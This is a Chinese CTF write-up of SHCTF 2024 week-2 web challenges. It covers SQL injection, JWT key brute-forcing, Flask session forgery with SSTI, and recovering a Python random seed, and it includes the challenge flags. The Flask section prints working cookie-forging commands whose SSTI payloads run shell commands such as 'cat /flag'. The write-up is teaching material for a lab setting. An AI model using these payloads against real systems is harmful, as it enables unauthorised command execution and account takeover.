SHCTF-2024-week2-wp(web)

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[Week2]自助查询

考点：sql注入

看到查询语句,直接sql注入

说明只有两列
查看当前数据库

查看'ctf'数据库下面的表

查看'flag'下的字段

查看'scretddata'的内容

根据提示，说明在注释里面

找到flag

SHCTF{5elf_s3RvICe_SEARch_334c747eabdf}

[Week2]登录验证

考点：jwt密钥爆破

抓包查看,发现有token

进行jwt密钥爆破，得到密钥为222333

使用密钥加密，把role改成admin，然后替换token发包就能拿到flag

[Week2]入侵者禁入

考点：session伪造+SSTI模板注入

分析这段代码，知道Flask的secret.key，想到Flask_session伪造

render_template_string()函数想到SSTI漏洞。
使用flask_session_cookie_manager工具构造payload

复制代码

python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZvZ8IQ.B9Q1a7gFQvzs4Q3bGldXuiGHULg" -s "0day_joker"

python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls").read()}}', 'is_admin': 1}}"

python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls /").read()}}', 'is_admin': 1}}"

python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("cat /flag").read()}}', 'is_admin': 1}}"

修改session就能拿到flag。

[Week2]guess_the_number

考点：随机数

在伪随机数生成器（PRNG）中，一个种子并不只生成一个随机数。相反，它生成的是一个伪随机数序列。每次调用 random.randint() 或其他类似方法时，伪随机数生成器会根据当前的内部状态生成下一个随机数。因此，给定相同的种子，可以生成一系列相同的随机数

访问 /s0urce下载源码

复制代码

import flask
import random
from flask import Flask, request, render_template, send_file

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html', first_num = first_num)  

@app.route('/s0urce')
def get_source():
    file_path = "app.py"
    return send_file(file_path, as_attachment=True)
    
@app.route('/first')
def get_first_number():
    return str(first_num)
    
@app.route('/guess')
def verify_seed():
    num = request.args.get('num')
    if num == str(second_num):
        with open("/flag", "r") as file:
            return file.read()
    return "nonono"
 
def init():
    global seed, first_num, second_num
    seed = random.randint(1000000,9999999)
    random.seed(seed)
    first_num = random.randint(1000000000,9999999999)
    second_num = random.randint(1000000000,9999999999)

init()
app.run(debug=True)

分析可知，生成一个随机数，让我们预测下一个随机数。

在伪随机数生成器（PRNG）中，一个种子并不只生成一个随机数。相反，它生成的是一个伪随机数序列。每次调用 random.randint() 或其他类似方法时，伪随机数生成器会根据当前的内部状态生成下一个随机数。因此，给定相同的种子，可以生成一系列相同的随机数

所以可以使用脚本找到种子，然后就能预测下一个随机数

复制代码

import random

# 已知的 first_num
known_first_num = 6296819177

# 定义种子的范围
seed_min = 1000000
seed_max = 9999999

def find_seed(known_first_num, seed_min, seed_max):
    for seed in range(seed_min, seed_max + 1):
        # 用当前种子设置随机数生成器
        random.seed(seed)
        
        # 生成一个随机数
        first_num = random.randint(1000000000, 9999999999)
        
        # 检查生成的随机数是否与已知的相同
        if first_num == known_first_num:
            print(f"找到了种子: {seed}")
            return seed

    print("未找到匹配的种子")
    return None

# 调用函数查找种子
found_seed = find_seed(known_first_num, seed_min, seed_max)

根据找到的种子找出下一个随机数

输入拿到flag

SHCTF{th1s_Num8eR_is_EaSy_Gu3Ss_29c737b0d2ae}